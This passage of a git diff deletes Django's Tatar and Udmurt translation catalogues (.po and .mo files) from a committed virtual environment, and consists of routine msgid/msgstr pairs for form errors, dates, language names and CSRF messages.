not one of the available choices." -msgstr "" -"Дөрес тәкъдимне сайлагыз. Рөхсәт ителгән кыйммәтләр арасында сезнең вариант " -"юк." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Бушайтырга" - -msgid "Currently" -msgstr "Хәзерге вакытта" - -msgid "Change" -msgstr "Үзгәртергә" - -msgid "Unknown" -msgstr "Билгесез" - -msgid "Yes" -msgstr "Әйе" - -msgid "No" -msgstr "Юк" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "әйе,юк,бәлки" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "т.с." - -msgid "a.m." -msgstr "т.к." - -msgid "PM" -msgstr "ТС" - -msgid "AM" -msgstr "ТК" - -msgid "midnight" -msgstr "төн уртасы" - -msgid "noon" -msgstr "көн уртасы" - -msgid "Monday" -msgstr "Дүшәмбе" - -msgid "Tuesday" -msgstr "Сишәмбе" - -msgid "Wednesday" -msgstr "Чәршәмбе" - -msgid "Thursday" -msgstr "Пәнҗешәмбе" - -msgid "Friday" -msgstr "Җомга" - -msgid "Saturday" -msgstr "Шимбә" - -msgid "Sunday" -msgstr "Якшәмбе" - -msgid "Mon" -msgstr "Дүш" - -msgid "Tue" -msgstr "Сиш" - -msgid "Wed" -msgstr "Чәр" - -msgid "Thu" -msgstr "Пнҗ" - -msgid "Fri" -msgstr "Җом" - -msgid "Sat" -msgstr "Шим" - -msgid "Sun" -msgstr "Якш" - -msgid "January" -msgstr "Гыйнвар" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgid "jan" -msgstr "гый" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "июн" - -msgid "jul" -msgstr "июл" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сен" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноя" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Гый." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апрель" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Июнь" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Июль" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Сен." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноя." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "гыйнвар" - -msgctxt "alt. month" -msgid "February" -msgstr "февраль" - -msgctxt "alt. month" -msgid "March" -msgstr "март" - -msgctxt "alt. month" -msgid "April" -msgstr "апрель" - -msgctxt "alt. month" -msgid "May" -msgstr "май" - -msgctxt "alt. month" -msgid "June" -msgstr "июнь" - -msgctxt "alt. month" -msgid "July" -msgstr "июль" - -msgctxt "alt. month" -msgid "August" -msgstr "август" - -msgctxt "alt. month" -msgid "September" -msgstr "сентябрь" - -msgctxt "alt. month" -msgid "October" -msgstr "октябрь" - -msgctxt "alt. month" -msgid "November" -msgstr "ноябрь" - -msgctxt "alt. month" -msgid "December" -msgstr "декабрь" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "я" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Ел билгеләнмәгән" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Ай билгеләнмәгән" - -msgid "No day specified" -msgstr "Көн билгеләнмәгән" - -msgid "No week specified" -msgstr "Атна билгеләнмәгән" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Файдалана алырлык %(verbose_name_plural)s юк" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(class_name)s.allow_future False булуы сәбәпле, киләсе " -"%(verbose_name_plural)s файдалана алырлык түгел" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Таләпкә туры килгән %(verbose_name)s табылмаган" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.mo deleted file mode 100644 index 0c7ab6d1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.po deleted file mode 100644 index 68c2bc7e..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/udm/LC_MESSAGES/django.po +++ /dev/null @@ -1,1197 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Udmurt (http://www.transifex.com/django/django/language/" -"udm/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: udm\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Африкаанс" - -msgid "Arabic" -msgstr "Араб" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Азербайджан" - -msgid "Bulgarian" -msgstr "Болгар" - -msgid "Belarusian" -msgstr "Беларус" - -msgid "Bengali" -msgstr "Бенгал" - -msgid "Breton" -msgstr "Бретон" - -msgid "Bosnian" -msgstr "Босниец" - -msgid "Catalan" -msgstr "Каталан" - -msgid "Czech" -msgstr "Чех" - -msgid "Welsh" -msgstr "Уэльс" - -msgid "Danish" -msgstr "Датчан" - -msgid "German" -msgstr "Немец" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Грек" - -msgid "English" -msgstr "Англи" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Британиысь англи" - -msgid "Esperanto" -msgstr "Эсперанто" - -msgid "Spanish" -msgstr "Испан" - -msgid "Argentinian Spanish" -msgstr "Аргентинаысь испан" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Мексикаысь испан" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуаысь испан" - -msgid "Venezuelan Spanish" -msgstr "Венесуэлаысь испан" - -msgid "Estonian" -msgstr "Эстон" - -msgid "Basque" -msgstr "Баск" - -msgid "Persian" -msgstr "Перс" - -msgid "Finnish" -msgstr "Финн" - -msgid "French" -msgstr "Француз" - -msgid "Frisian" -msgstr "Фриз" - -msgid "Irish" -msgstr "Ирланд" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Галисий" - -msgid "Hebrew" -msgstr "Иврит" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Хорват" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Венгер" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Интерлингва" - -msgid "Indonesian" -msgstr "Индонези" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Исланд" - -msgid "Italian" -msgstr "Итальян" - -msgid "Japanese" -msgstr "Япон" - -msgid "Georgian" -msgstr "Грузин" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Казах" - -msgid "Khmer" -msgstr "Кхмер" - -msgid "Kannada" -msgstr "Каннада" - -msgid "Korean" -msgstr "Корей" - -msgid "Luxembourgish" -msgstr "Люксембург" - -msgid "Lithuanian" -msgstr "Литва" - -msgid "Latvian" -msgstr "Латвий" - -msgid "Macedonian" -msgstr "Македон" - -msgid "Malayalam" -msgstr "Малаялам" - -msgid "Mongolian" -msgstr "Монгол" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Непал" - -msgid "Dutch" -msgstr "Голланд" - -msgid "Norwegian Nynorsk" -msgstr "Норвег (нюнорск)" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Панджаби" - -msgid "Polish" -msgstr "Поляк" - -msgid "Portuguese" -msgstr "Португал" - -msgid "Brazilian Portuguese" -msgstr "Бразилиысь португал" - -msgid "Romanian" -msgstr "Румын" - -msgid "Russian" -msgstr "Ӟуч" - -msgid "Slovak" -msgstr "Словак" - -msgid "Slovenian" -msgstr "Словен" - -msgid "Albanian" -msgstr "Албан" - -msgid "Serbian" -msgstr "Серб" - -msgid "Serbian Latin" -msgstr "Серб (латиницаен)" - -msgid "Swedish" -msgstr "Швед" - -msgid "Swahili" -msgstr "Суахили" - -msgid "Tamil" -msgstr "Тамиль" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Thai" -msgstr "Тай" - -msgid "Turkish" -msgstr "Турок" - -msgid "Tatar" -msgstr "Бигер" - -msgid "Udmurt" -msgstr "Удмурт" - -msgid "Ukrainian" -msgstr "Украин" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Вьетнам" - -msgid "Simplified Chinese" -msgstr "Китай (капчиятэм)" - -msgid "Traditional Chinese" -msgstr "Китай (традици)" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Тазэ шонер гожтэ." - -msgid "Enter a valid URL." -msgstr "Шонер URL гожтэ." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Электорн почта адресэз шонер гожтэ" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Шонер IPv4-адрес гожтэ." - -msgid "Enter a valid IPv6 address." -msgstr "Шонер IPv6-адрес гожтэ." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Шонер IPv4 яке IPv6 адрес гожтэ." - -msgid "Enter only digits separated by commas." -msgstr "Запятойёсын висъям лыдпусъёсты гожтэ" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Эскере, та %(limit_value)s шуыса. Али татын %(show_value)s." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Талы %(limit_value)s-лэсь бадӟымгес луыны уг яра." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Талы %(limit_value)s-лэсь ӧжытгес луыны уг яра." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -msgid "Enter a number." -msgstr "Лыд гожтэ." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "но" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Та NULL луыны уг яра." - -msgid "This field cannot be blank." -msgstr "Та буш луыны уг яра." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Таӵе %(field_label)s-ен %(model_name)s вань ини." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s типъем бусы" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "True яке False" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Чур (%(max_length)s пусозь кузьда)" - -msgid "Comma-separated integers" -msgstr "Запятоен висъям быдэс лыдъёс" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Дата (час-минут пусйытэк)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Дата но час-минут" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Десятичной лыд." - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Электрон почта адрес" - -msgid "File path" -msgstr "Файллэн нимыз" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Вещественной лыд" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "целой" - -msgid "Big (8 byte) integer" -msgstr "Бадӟым (8 байтъем) целой лыд" - -msgid "IPv4 address" -msgstr "IPv4 адрес" - -msgid "IP address" -msgstr "IP адрес" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "True, False яке None" - -msgid "Positive integer" -msgstr "Целой, нольлэсь бадӟым лыд" - -msgid "Positive small integer" -msgstr "Нольлэсь бадӟым пичи целой лыд" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Компьютерной ним (%(max_length)s пусозь кузьда)" - -msgid "Small integer" -msgstr "Пичи целой лыд" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Час-минут" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Суред" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Мукет моделен герӟет (тип герӟано бусыя валамын)." - -msgid "One-to-one relationship" -msgstr "Одӥг-одӥг герӟет" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Трос-трос герӟет" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Та клуэ." - -msgid "Enter a whole number." -msgstr "Целой лыд гожтэ." - -msgid "Enter a valid date." -msgstr "Шонер дата гожтэ." - -msgid "Enter a valid time." -msgstr "Шонер час-минут гожтэ." - -msgid "Enter a valid date/time." -msgstr "Шонер дата но час-минут гожтэ." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Одӥг файл но лэзьымтэ. Формалэсь код." - -msgid "No file was submitted." -msgstr "Файл лэземын ӧвӧл." - -msgid "The submitted file is empty." -msgstr "Лэзем файл буш." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Файл лэзе яке файл ӵушоно шуыса пусъе, огдыръя соиз но, таиз но уг яра." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "Суред лэзе. Тӥляд файлды лэзьымтэ яке со суред ӧвӧл." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Шонер вариант быръе. %(value)s вариантъёс пӧлын ӧвӧл." - -msgid "Enter a list of values." -msgstr "Список лэзе." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "Рад" - -msgid "Delete" -msgstr "Ӵушоно" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Буш кароно" - -msgid "Currently" -msgstr "Али" - -msgid "Change" -msgstr "Тупатъяно" - -msgid "Unknown" -msgstr "Тодымтэ" - -msgid "Yes" -msgstr "Бен" - -msgid "No" -msgstr "Ӧвӧл" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "бен,ӧвӧл,уг тодӥськы" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s МБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "лымшор бере" - -msgid "a.m." -msgstr "лымшор азе" - -msgid "PM" -msgstr "лымшор бере" - -msgid "AM" -msgstr "лымшор азе" - -msgid "midnight" -msgstr "уйшор" - -msgid "noon" -msgstr "лымшор" - -msgid "Monday" -msgstr "Вордӥськон" - -msgid "Tuesday" -msgstr "Пуксён" - -msgid "Wednesday" -msgstr "Вирнунал" - -msgid "Thursday" -msgstr "Покчиарня" - -msgid "Friday" -msgstr "Удмуртарня" - -msgid "Saturday" -msgstr "Кӧснунал" - -msgid "Sunday" -msgstr "Арнянунал" - -msgid "Mon" -msgstr "врд" - -msgid "Tue" -msgstr "пкс" - -msgid "Wed" -msgstr "врн" - -msgid "Thu" -msgstr "пкч" - -msgid "Fri" -msgstr "удм" - -msgid "Sat" -msgstr "ксн" - -msgid "Sun" -msgstr "арн" - -msgid "January" -msgstr "толшор" - -msgid "February" -msgstr "тулыспал" - -msgid "March" -msgstr "южтолэзь" - -msgid "April" -msgstr "оштолэзь" - -msgid "May" -msgstr "куартолэзь" - -msgid "June" -msgstr "инвожо" - -msgid "July" -msgstr "пӧсьтолэзь" - -msgid "August" -msgstr "гудырикошкон" - -msgid "September" -msgstr "куарусён" - -msgid "October" -msgstr "коньывуон" - -msgid "November" -msgstr "шуркынмон" - -msgid "December" -msgstr "толсур" - -msgid "jan" -msgstr "тшт" - -msgid "feb" -msgstr "тпт" - -msgid "mar" -msgstr "южт" - -msgid "apr" -msgstr "ошт" - -msgid "may" -msgstr "крт" - -msgid "jun" -msgstr "ивт" - -msgid "jul" -msgstr "пст" - -msgid "aug" -msgstr "гкт" - -msgid "sep" -msgstr "кут" - -msgid "oct" -msgstr "квт" - -msgid "nov" -msgstr "шкт" - -msgid "dec" -msgstr "тст" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "тшт" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "тпт" - -msgctxt "abbrev. month" -msgid "March" -msgstr "южт" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ошт" - -msgctxt "abbrev. month" -msgid "May" -msgstr "крт" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ивт" - -msgctxt "abbrev. month" -msgid "July" -msgstr "пст" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "гкт" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "кут" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "квт" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "шкт" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "тст" - -msgctxt "alt. month" -msgid "January" -msgstr "толшоре" - -msgctxt "alt. month" -msgid "February" -msgstr "тулыспалэ" - -msgctxt "alt. month" -msgid "March" -msgstr "южтолэзе" - -msgctxt "alt. month" -msgid "April" -msgstr "оштолэзе" - -msgctxt "alt. month" -msgid "May" -msgstr "куартолэзе" - -msgctxt "alt. month" -msgid "June" -msgstr "инвожое" - -msgctxt "alt. month" -msgid "July" -msgstr "пӧсьтолэзе" - -msgctxt "alt. month" -msgid "August" -msgstr "гудырикошконэ" - -msgctxt "alt. month" -msgid "September" -msgstr "куарусёнэ" - -msgctxt "alt. month" -msgid "October" -msgstr "коньывуонэ" - -msgctxt "alt. month" -msgid "November" -msgstr "шуркынмонэ" - -msgctxt "alt. month" -msgid "December" -msgstr "толсуре" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "яке" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Папкаослэсь пуштроссэс татын учкыны уг яра." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of 